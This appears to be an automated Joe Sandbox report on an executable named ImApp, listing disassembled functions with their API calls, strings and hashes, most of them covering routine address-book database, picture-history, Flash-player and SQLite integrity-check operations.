Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID: #578
String ID: ContactID$Email$INSERT INTO Contacts (%s) VALUES (%s)$SELECT 1 FROM Contacts WHERE Email=:Email COLLATE NOCASE
API String ID: 157736989-1620302652
Opcode ID: a01ac84f01cb0d3b6e535bcd249e1f7e78af7418e88a32023c54fb26f7fda01a
Instruction ID: bafe4a555c66613946674838ff61d2f472db926556da23a20e30c4d59c9a7cfd
Opcode Fuzzy Hash: a01ac84f01cb0d3b6e535bcd249e1f7e78af7418e88a32023c54fb26f7fda01a
Instruction Fuzzy Hash: A3A15A74109340AFD351DF28C884B9FBBE9AF99704F544A0DF68687291CB76E909CB92

Function 020C9A10 Relevance: 38.7, APIs: 18, Strings: 4, Instructions: 248COMMON

Download Yara Rule

APIs

#578.MFC80U ref: 020C9A7A

Strings

GroupID, xrefs: 020C9C14, 020C9C4E
INSERT INTO Groups (%s) VALUES (%s), xrefs: 020C9BC2
Name, xrefs: 020C9A9F
SELECT 1 FROM Groups WHERE Name=:Name COLLATE NOCASE, xrefs: 020C9AA7, 020C9AC2

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID: #578
String ID: GroupID$INSERT INTO Groups (%s) VALUES (%s)$Name$SELECT 1 FROM Groups WHERE Name=:Name COLLATE NOCASE
API String ID: 157736989-2771102179
Opcode ID: ca84487a804cb28a2d2ee5a8a87ba536d2900bbc99e30e37051e051c487f0f04
Instruction ID: 0510707eabe36e365b2d32926a417dd8ff5b3eb588ac2f71f0a45939ecfce696
Opcode Fuzzy Hash: ca84487a804cb28a2d2ee5a8a87ba536d2900bbc99e30e37051e051c487f0f04
Instruction Fuzzy Hash: A7A18C75249380EFC344DF28C884A6FFBE5AF89B04F544A0DF59A87291C775AC49CB62

Function 00408200 Relevance: 38.7, APIs: 21, Strings: 1, Instructions: 234windowthreadCOMMON

Download Yara Rule

APIs

#1067.MFC80U(FC8A6036), ref: 00408226
#314.MFC80U(00000000,FC8A6036), ref: 00408230
#6751.MFC80U(00000000,?), ref: 00408299
#390.IMUTILSU ref: 004082C6
PostMessageW.USER32(?,00008084,00000000,00000000), ref: 004082D8
#1069.IMUTILSU(Function_00003EF0), ref: 004082EB
#390.IMUTILSU(Function_00003EF0), ref: 00408302
SendMessageW.USER32(?,00008003,00000000,00000000), ref: 00408314
#1.IMABU(?), ref: 00408334
#390.IMUTILSU(?,?,?,?,?,?,?,?,?,?,?,?,?,?,0041E840,000000FF), ref: 004083A0
PostMessageW.USER32(?,00008084,00000000,00000000), ref: 004083B2
CreateEventW.KERNEL32(?,00000001,?,?), ref: 0040840B
ResetEvent.KERNEL32(?), ref: 0040841A
CreateThread.KERNEL32(00000000,00000000,Function_000078B0,?,00000000,00000000), ref: 00408437
#1294.IMUTILSU(Function_000022D0), ref: 00408448
#1316.IMUTILSU(Function_000022D0), ref: 0040844F
#2379.IMUTILSU(Function_000022D0), ref: 00408454
#675.IMUTILSU(00000000,ScInterval,?,00000E10,00000001,00000000,Function_000022D0), ref: 00408476
#1409.IMUTILSU(00000000,ScInterval,?,00000E10,00000001,00000000,Function_000022D0), ref: 0040847D
#681.IMUTILSU(?,?,?,?,?,?,?,?,?,?,?,?,?,?,0041E840,000000FF), ref: 004084B2
#6751.MFC80U(00000000,?), ref: 004084E3

Strings

ScInterval, xrefs: 00408467

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: #390Message$#6751CreateEventPost$#1067#1069#1294#1316#1409#2379#314#675#681ResetSendThread
String ID: ScInterval
API String ID: 1961672493-1372961448
Opcode ID: 685727552d6752ba7d1d70e4f88cb2b3c0c97ead41b718ff8924cd5c3201dbe4
Instruction ID: 3d40ccb23200e1375a76c6b9aa816d58d3bd8d2623419fb1ee4dfa3c0a15ca76
Opcode Fuzzy Hash: 685727552d6752ba7d1d70e4f88cb2b3c0c97ead41b718ff8924cd5c3201dbe4
Instruction Fuzzy Hash: 2481D131604711ABD320EF65CD45F9A73A4FF88B04F10462EFA94AB3C0DBB8D9418B99

Function 020CD740 Relevance: 38.6, APIs: 15, Strings: 7, Instructions: 126COMMON

Download Yara Rule

APIs

#2.IMDBU(PotentialGroupsMembers,265105E4,AddrBook.db3,00000000,?,?,?,?,?,?,?,6CA95DEE,000000FF,020D7F28,?), ref: 020CD771
#310.MFC80U(PotentialGroupsMembers,265105E4,AddrBook.db3,00000000,?,?,?,?,?,?,?,6CA95DEE,000000FF,020D7F28,?), ref: 020CD792
#7.IMDBU(?,PotentialGroupID,00000001,00000000,00000000,00000000), ref: 020CD7B4
#7.IMDBU(?,MemberID,00000001,00000000,00000000,00000000,?,PotentialGroupID,00000001,00000000,00000000,00000000), ref: 020CD7CD
#7.IMDBU(?,MemberType,00000001,00000000,00000000,00000000,?,MemberID,00000001,00000000,00000000,00000000,?,PotentialGroupID,00000001,00000000), ref: 020CD7E6
#6.IMDBU(PotentialGroupsMembers,?,00000000,?,MemberType,00000001,00000000,00000000,00000000,?,MemberID,00000001,00000000,00000000,00000000,?), ref: 020CD7F9
#578.MFC80U(PotentialGroupID_Index,PotentialGroupsMembers,PotentialGroupID,00000000,PotentialGroupsMembers,?,00000000,?,MemberType,00000001,00000000,00000000,00000000,?,MemberID,00000001), ref: 020CD810

Strings

AddrBook.db3, xrefs: 020CD752
PotentialGroupsMembers, xrefs: 020CD76A, 020CD7F2, 020CD831, 020CD896
MemberID, xrefs: 020CD7C1, 020CD86D
PotentialGroupID, xrefs: 020CD7A8, 020CD82C, 020CD85A
MemberType, xrefs: 020CD7DA, 020CD880
PotentialGroupID_Index, xrefs: 020CD836
PotentialGroupMemberAllFieldsIndex, xrefs: 020CD89B

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID: #310#578
String ID: AddrBook.db3$MemberID$MemberType$PotentialGroupID$PotentialGroupID_Index$PotentialGroupMemberAllFieldsIndex$PotentialGroupsMembers
API String ID: 3447019164-3239467068
Opcode ID: f7442e9313341d74bf4cc502d694f559ff7e8f10fb49f7870a30dd4ac21b0895
Instruction ID: 48911d3c52e0e6d9578edb389e3ba5c7a0a0e0552e909b2cce07c714739741c6
Opcode Fuzzy Hash: f7442e9313341d74bf4cc502d694f559ff7e8f10fb49f7870a30dd4ac21b0895
Instruction Fuzzy Hash: F341E331388700AFE714DB24CC41F9FB7D1ABC8B14F10461DF2576A6C0DBB4A9499B8A

Function 020CA5C0 Relevance: 38.6, APIs: 15, Strings: 7, Instructions: 126COMMON

Download Yara Rule

APIs

#2.IMDBU(GroupsMembers,265105E4,AddrBook.db3,00000000,?,?,?,?,?,?,?,6CA95DEE,000000FF,020D7F28,?), ref: 020CA5F1
#310.MFC80U(GroupsMembers,265105E4,AddrBook.db3,00000000,?,?,?,?,?,?,?,6CA95DEE,000000FF,020D7F28,?), ref: 020CA612
#7.IMDBU(?,GroupID,00000001,00000000,00000000,00000000), ref: 020CA634
#7.IMDBU(?,MemberID,00000001,00000000,00000000,00000000,?,GroupID,00000001,00000000,00000000,00000000), ref: 020CA64D
#7.IMDBU(?,MemberType,00000001,00000000,00000000,00000000,?,MemberID,00000001,00000000,00000000,00000000,?,GroupID,00000001,00000000), ref: 020CA666
#6.IMDBU(GroupsMembers,?,00000000,?,MemberType,00000001,00000000,00000000,00000000,?,MemberID,00000001,00000000,00000000,00000000,?), ref: 020CA679
#578.MFC80U(GroupID_Index,GroupsMembers,GroupID,00000000,GroupsMembers,?,00000000,?,MemberType,00000001,00000000,00000000,00000000,?,MemberID,00000001), ref: 020CA690

Strings

GroupsMembers, xrefs: 020CA5EA, 020CA672, 020CA6B1, 020CA716
GroupID_Index, xrefs: 020CA6B6
AddrBook.db3, xrefs: 020CA5D2
GroupID, xrefs: 020CA628, 020CA6AC, 020CA6DA
GroupMembersAllFieldsIndex, xrefs: 020CA71B
MemberID, xrefs: 020CA641, 020CA6ED
MemberType, xrefs: 020CA65A, 020CA700

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID: #310#578
String ID: AddrBook.db3$GroupID$GroupID_Index$GroupMembersAllFieldsIndex$GroupsMembers$MemberID$MemberType
API String ID: 3447019164-1725722903
Opcode ID: 255cfd409a114e3cda5ecd71d093b040021575fc3a88e917c742c4f82de3445e
Instruction ID: a5eebcfae1ba2d1d435a818adc6ab7bb51d182d8c1de5424dadb56a8fa87d928
Opcode Fuzzy Hash: 255cfd409a114e3cda5ecd71d093b040021575fc3a88e917c742c4f82de3445e
Instruction Fuzzy Hash: 73410331388300AFE714DB28CC52F9EB7E2ABC8B10F50461DF6476A6C0DBB4E9459B46

Function 03273820 Relevance: 37.0, APIs: 20, Strings: 1, Instructions: 290COMMON

Download Yara Rule

APIs

GetWindowLongA.USER32(?,00000000), ref: 03273834
GetWindowLongA.USER32(?,00000004), ref: 0327383B
?GetPosition@WindowlessFlashPlayer@@QAEXPAUtagPOINT@@@Z.WLESSFP1(?), ref: 0327389C
ReleaseCapture.USER32 ref: 032738FA
DefWindowProcA.USER32(?,?,?,?), ref: 03273965
?GetPosition@WindowlessFlashPlayer@@QAEXPAUtagPOINT@@@Z.WLESSFP1(?), ref: 0327398A
?SetPosition@WindowlessFlashPlayer@@QAEXPBUtagPOINT@@@Z.WLESSFP1(?), ref: 032739B2
SetCursor.USER32(?), ref: 032739D1

Strings

@Ls, xrefs: 03273A2E

Memory Dump Source

Source File: 00000007.00000002.3532100878.0000000003271000.00000020.00000001.01000000.00000012.sdmp, Offset: 03270000, based on PE: true

Associated: 00000007.00000002.3531965898.0000000003270000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000007.00000002.3532138534.0000000003278000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000007.00000002.3532175053.000000000327D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000007.00000002.3532248982.000000000327E000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_3270000_ImApp.jbxd

Similarity

API ID: FlashPlayer@@Position@T@@@UtagWindowWindowless$Long$CaptureCursorProcRelease
String ID: @Ls
API String ID: 1812840102-4225762999
Opcode ID: b4373ae78c4ff86e0f0736e758cf0c4427435f1fbed70023d3a240a443d24ce9
Instruction ID: d3462cc83c2a8664fce8f8ffd73ac3a6df4cdae9412367e0157aa1c4f4904708
Opcode Fuzzy Hash: b4373ae78c4ff86e0f0736e758cf0c4427435f1fbed70023d3a240a443d24ce9
Instruction Fuzzy Hash: 3D91F57A2143059FE324DB68E888E7BB7D9FFC4610F08491DFA5683241DB74E844DBA2

Function 020E52F0 Relevance: 36.9, APIs: 17, Strings: 4, Instructions: 152COMMON

Download Yara Rule

APIs

#20.IMDBU(265105E4), ref: 020E532C
#10.IMDBU(SELECT * FROM RecentlyUsedPictures WHERE ID = :ID order by Time desc,020FA300,?,265105E4), ref: 020E534D
#12.IMDBU(SELECT * FROM RecentlyUsedPictures WHERE ID = :ID order by Time desc,?,00000000,SELECT * FROM RecentlyUsedPictures WHERE ID = :ID order by Time desc,020FA300,?,265105E4), ref: 020E5363
#310.MFC80U(SELECT * FROM RecentlyUsedPictures WHERE ID = :ID order by Time desc,020FA300,?,265105E4), ref: 020E537A
#19.IMDBU ref: 020E538C
#679.IMUTILSU(020F1D24,00000000,00000015,020F1D14,?), ref: 020E53B8
#33.IMDBU(Picture,?,?), ref: 020E53DB
#24.IMDBU(Time,?,Picture,?,?), ref: 020E53F4
#25.IMDBU(GUID,?,Time,?,Picture,?,?), ref: 020E540D
#310.MFC80U(?,?,?,Picture,?,?), ref: 020E543C
#774.MFC80U(?), ref: 020E545F
#578.MFC80U(?,?), ref: 020E548B
#18.IMDBU(Picture,?,?), ref: 020E549B
free.MSVCR80 ref: 020E54A9
#19.IMDBU(Picture,?,?), ref: 020E54BA
#578.MFC80U ref: 020E54D2
#16.IMDBU ref: 020E54E7

Strings

SELECT * FROM RecentlyUsedPictures WHERE ID = :ID order by Time desc, xrefs: 020E5346, 020E535C
GUID, xrefs: 020E5404
Time, xrefs: 020E53EB
Picture, xrefs: 020E53D2

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID: #310#578$#679#774free
String ID: GUID$Picture$SELECT * FROM RecentlyUsedPictures WHERE ID = :ID order by Time desc$Time
API String ID: 3209852906-4053574145
Opcode ID: ab4222d2f1c8f71447fcb95df9cab14d92955e2484d0b549cf551d5c3ccebd9f
Instruction ID: 58b9d216fda20f8783e9d329c5d26c295bea06ac08d64c19d44411c4fd040d90
Opcode Fuzzy Hash: ab4222d2f1c8f71447fcb95df9cab14d92955e2484d0b549cf551d5c3ccebd9f
Instruction Fuzzy Hash: DB518EB16483419FD750DF24C885A9FBBE5BFD8708F400D2DF98A97240EB74A988DB52

Function 10001820 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 152synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 10003170: TlsGetValue.KERNEL32(CCCCCCCC,DC7F1836,?,?,?,?,?,1000B414,000000FF,1000185E,?,?), ref: 100031A8
Part of subcall function 10003170: #762.MFC80U(00000058,?,?,?,?,?,1000B414,000000FF,1000185E,?,?), ref: 100031B6
Part of subcall function 10003170: TlsSetValue.KERNEL32(CCCCCCCC,00000000,?,?,?,?,?,?,?,?,?,?,?,1000AB4B,000000FF), ref: 100031E7
Part of subcall function 10003170: EnterCriticalSection.KERNEL32(-0000003C,?,?,?,?,?,1000B414,000000FF,1000185E,?,?), ref: 100031FD
Part of subcall function 10003170: #731.IMUTILSU(?,?,?,?,?,?,1000B414,000000FF,1000185E,?,?), ref: 1000320B
Part of subcall function 10003170: LeaveCriticalSection.KERNEL32(-0000003C), ref: 1000321D
Part of subcall function 10003170: GetCurrentThreadId.KERNEL32 ref: 1000322B
Part of subcall function 10003170: WaitForSingleObject.KERNEL32(?,000000FF), ref: 1000323D
Part of subcall function 10003170: EnterCriticalSection.KERNEL32 ref: 10003260

WaitForSingleObject.KERNEL32(00000340,000000FF,?,?,?,?,?,?,?,?,?,?,?,?,?,1000AB4B), ref: 10001884
sqlite3_open16.SQLITE3(?,-00000008,?,?,?,?,?,?,?,?,?,?,?,?,?,1000AB4B), ref: 10001895
sqlite3_busy_timeout.SQLITE3(?,0001D4C0), ref: 100018B5
#675.IMUTILSU(Flags,DbIntegrityCheck,?,00000000), ref: 100018DE
#1428.IMUTILSU(Flags,DbIntegrityCheck,?,00000000), ref: 100018E5
#6732.MFC80U(PRAGMA integrity_check,Flags,DbIntegrityCheck,?,00000000), ref: 100018FA
sqlite3_exec.SQLITE3(00000000,?,00000000,00000000,00000000), ref: 10001916
#578.MFC80U ref: 10001929
sqlite3_open16.SQLITE3(?,-00000008), ref: 10001944
sqlite3_busy_timeout.SQLITE3(?,0001D4C0), ref: 10001960
#6732.MFC80U(PRAGMA temp_store = 2;,Flags,DbIntegrityCheck,?,00000000), ref: 10001975
sqlite3_exec.SQLITE3(00000000,?,00000000,00000000,00000000), ref: 10001991
#578.MFC80U ref: 100019A2
TlsSetValue.KERNEL32(?,00000000), ref: 100019B0
#49.IMDBU(00000000), ref: 100019B7
LeaveCriticalSection.KERNEL32(?), ref: 100019E2

Part of subcall function 10007630: #548.MFC80U(0000000C,00000001,DC7F1836), ref: 1000765E
Part of subcall function 10007630: #6201.MFC80U(?), ref: 10007687

Strings

DbIntegrityCheck, xrefs: 100018CC
Flags, xrefs: 100018D1
PRAGMA integrity_check, xrefs: 100018F1
PRAGMA temp_store = 2;, xrefs: 1000196C

Memory Dump Source

Source File: 00000007.00000002.3546089256.0000000010001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.3546072579.0000000010000000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546106672.000000001000C000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546159214.0000000010010000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546175971.0000000010011000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_ImApp.jbxd

Similarity

API ID: CriticalSection$Value$#578#6732EnterLeaveObjectSingleWaitsqlite3_busy_timeoutsqlite3_execsqlite3_open16$#1428#548#6201#675#731#762CurrentThread
String ID: DbIntegrityCheck$Flags$PRAGMA integrity_check$PRAGMA temp_store = 2;
API String ID: 366272477-1852839913
Opcode ID: b8c4cc132ccc42f6db983613803ec56590bf44b8c529c4e4c7968ff9549eae5b
Instruction ID: c76767e04bfbca39d455a457f8a0abe04f114f25c652d22b974e618216500e40
Opcode Fuzzy Hash: b8c4cc132ccc42f6db983613803ec56590bf44b8c529c4e4c7968ff9549eae5b
Instruction Fuzzy Hash: 5151C075A04341ABF710CF64CC95F9B77D8EB482D4F044628F989A7286DB74E908C7A2

Function 020E6440 Relevance: 35.1, APIs: 17, Strings: 3, Instructions: 104COMMON

Download Yara Rule

APIs

#20.IMDBU(265105E4,?,?,?,?), ref: 020E6473
#10.IMDBU(SELECT * FROM RecentlyUsedPictures WHERE ID = :ID order by Time desc,020FA300,?,265105E4,?,?,?,?), ref: 020E6496
#12.IMDBU(SELECT * FROM RecentlyUsedPictures WHERE ID = :ID order by Time desc,?,00000000,SELECT * FROM RecentlyUsedPictures WHERE ID = :ID order by Time desc,020FA300,?,265105E4,?,?,?,?), ref: 020E64AC
#19.IMDBU(SELECT * FROM RecentlyUsedPictures WHERE ID = :ID order by Time desc,020FA300,?,265105E4,?,?,?,?), ref: 020E64B5
#310.MFC80U(SELECT * FROM RecentlyUsedPictures WHERE ID = :ID order by Time desc,020FA300,?,265105E4,?,?,?,?), ref: 020E64C6
#25.IMDBU(FBPictureURL,?), ref: 020E64DF
#1472.MFC80U(00000000,FBPictureURL,?), ref: 020E64F0
#310.MFC80U ref: 020E64FE
#25.IMDBU(GUID,?), ref: 020E6517
#578.MFC80U(GUID,?), ref: 020E6529
#18.IMDBU(FBPictureURL,?), ref: 020E6533
#578.MFC80U(FBPictureURL,?), ref: 020E6540
#19.IMDBU ref: 020E654A
#774.MFC80U(?,GUID,?), ref: 020E6562
#578.MFC80U ref: 020E6576
#578.MFC80U ref: 020E6584
#16.IMDBU ref: 020E6596

Strings

SELECT * FROM RecentlyUsedPictures WHERE ID = :ID order by Time desc, xrefs: 020E648F, 020E64A5
GUID, xrefs: 020E650E
FBPictureURL, xrefs: 020E64D6

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID: #578$#310$#1472#774
String ID: FBPictureURL$GUID$SELECT * FROM RecentlyUsedPictures WHERE ID = :ID order by Time desc
API String ID: 4115182540-2675235922
Opcode ID: c56949a76ca62afb5ab3fe37f4c7d764678830b3446e0d44f7dfc9caaf614844
Instruction ID: e84558208e3cd7c818ee9c26b01f200a183ad9bd9b95aba97541e10431820632
Opcode Fuzzy Hash: c56949a76ca62afb5ab3fe37f4c7d764678830b3446e0d44f7dfc9caaf614844
Instruction Fuzzy Hash: 26417B716883808FD704DB24D894AABB7E5FFE4704F00492DFA9687290EB25A849DB13

Function 020DA3B0 Relevance: 33.5, APIs: 15, Strings: 4, Instructions: 231COMMON

Download Yara Rule

APIs

#9.IMDBU(SELECT 1 FROM Groups WHERE GroupID=:GroupID,GroupID,?,265105E4), ref: 020DA3F4
#28.IMDBU(SELECT 1 FROM Groups WHERE GroupID=:GroupID), ref: 020DA413
_invalid_parameter_noinfo.MSVCR80(?,00000001), ref: 020DA513
_invalid_parameter_noinfo.MSVCR80(SELECT 1 FROM Groups WHERE GroupID=:GroupID,GroupID,?,?,00000001), ref: 020DA528
_invalid_parameter_noinfo.MSVCR80(?,00000001), ref: 020DA53A
#9.IMDBU(SELECT 1 FROM Groups WHERE GroupID=:GroupID,GroupID,?,?,00000001), ref: 020DA555
#28.IMDBU(SELECT 1 FROM Groups WHERE GroupID=:GroupID,00000002,00000001,SELECT 1 FROM Groups WHERE GroupID=:GroupID,GroupID,00000000), ref: 020DA574
_invalid_parameter_noinfo.MSVCR80(SELECT 1 FROM Groups WHERE GroupID=:GroupID,00000002,00000001,SELECT 1 FROM Groups WHERE GroupID=:GroupID,GroupID,00000000), ref: 020DA58B
_invalid_parameter_noinfo.MSVCR80(00000000,SELECT 1 FROM Groups WHERE GroupID=:GroupID,00000002,00000001,SELECT 1 FROM Groups WHERE GroupID=:GroupID,GroupID,00000000), ref: 020DA5A3
#9.IMDBU(DELETE FROM GroupsMembers WHERE GroupID=:GroupID,GroupID,?,?,00000001), ref: 020DA5CB
#8.IMDBU(DELETE FROM GroupsMembers WHERE GroupID=:GroupID,00000001,00000000,DELETE FROM GroupsMembers WHERE GroupID=:GroupID,GroupID,?,?,00000001), ref: 020DA5DF
#9.IMDBU(DELETE FROM Groups WHERE GroupID=:GroupID,GroupID,?,?,00000001,DELETE FROM GroupsMembers WHERE GroupID=:GroupID,GroupID,?,?,00000001), ref: 020DA604
#8.IMDBU(DELETE FROM Groups WHERE GroupID=:GroupID,00000001,00000000,DELETE FROM Groups WHERE GroupID=:GroupID,GroupID,?,?,00000001,DELETE FROM GroupsMembers WHERE GroupID=:GroupID,GroupID,?,?,00000001), ref: 020DA61D
#764.MFC80U(?,DELETE FROM Groups WHERE GroupID=:GroupID,00000001,00000000,DELETE FROM Groups WHERE GroupID=:GroupID,GroupID,?,?,00000001,DELETE FROM GroupsMembers WHERE GroupID=:GroupID,GroupID,?,?,00000001), ref: 020DA635
#578.MFC80U(DELETE FROM Groups WHERE GroupID=:GroupID,00000001,00000000,DELETE FROM Groups WHERE GroupID=:GroupID,GroupID,?,?,00000001,DELETE FROM GroupsMembers WHERE GroupID=:GroupID,GroupID,?,?,00000001), ref: 020DA652

Strings

GroupID, xrefs: 020DA3E5, 020DA549, 020DA5BC, 020DA5F5
DELETE FROM Groups WHERE GroupID=:GroupID, xrefs: 020DA5FD, 020DA616
SELECT 1 FROM Groups WHERE GroupID=:GroupID, xrefs: 020DA3ED, 020DA404, 020DA54E, 020DA565
DELETE FROM GroupsMembers WHERE GroupID=:GroupID, xrefs: 020DA5C4, 020DA5D8

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID: _invalid_parameter_noinfo$#578#764
String ID: DELETE FROM Groups WHERE GroupID=:GroupID$DELETE FROM GroupsMembers WHERE GroupID=:GroupID$GroupID$SELECT 1 FROM Groups WHERE GroupID=:GroupID
API String ID: 941036211-803862461
Opcode ID: 15b88c9178eb5007a48f332e708c9d286013558852430821726de6f7aa479e3b
Instruction ID: ab82f0b8e1caa64e48fbb2b23e8f54ea03c24f2e0e00740f133eb8829f0b2eef
Opcode Fuzzy Hash: 15b88c9178eb5007a48f332e708c9d286013558852430821726de6f7aa479e3b
Instruction Fuzzy Hash: E2818AB26483009FD710DF24C880A5FFBEABBD8758F104A1DF58A97390D771E9469B92

Function 00407570 Relevance: 33.5, APIs: 16, Strings: 3, Instructions: 214memorywindowCOMMON

Download Yara Rule

APIs

#675.IMUTILSU(Flags,RestartManager,?,00000000,FC8A6036), ref: 004075B7
#1428.IMUTILSU(Flags,RestartManager,?,00000000,FC8A6036), ref: 004075BE
GetTickCount.KERNEL32 ref: 004075EA
GetTickCount.KERNEL32 ref: 0040760C
GetCursorPos.USER32(?), ref: 00407638
_time64.MSVCR80 ref: 00407661
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0040768F
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 004076A9
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 004076D4
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00407706
GetCursorPos.USER32(?), ref: 00407724
_time64.MSVCR80 ref: 00407727
SysAllocString.OLEAUT32(00423FE4), ref: 0040779F
SysFreeString.OLEAUT32(00000000), ref: 004077D1
#390.IMUTILSU ref: 004077F5
PostMessageW.USER32(?,00008208,00000000,00000000), ref: 00407806

Strings

Flags, xrefs: 004075A6
RestartManager, xrefs: 0040759F
`Dvp=Dv, xrefs: 004077D1

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@$CountCursorStringTick_time64$#1428#390#675AllocFreeMessagePost
String ID: Flags$RestartManager$`Dvp=Dv
API String ID: 3088479232-4293499547
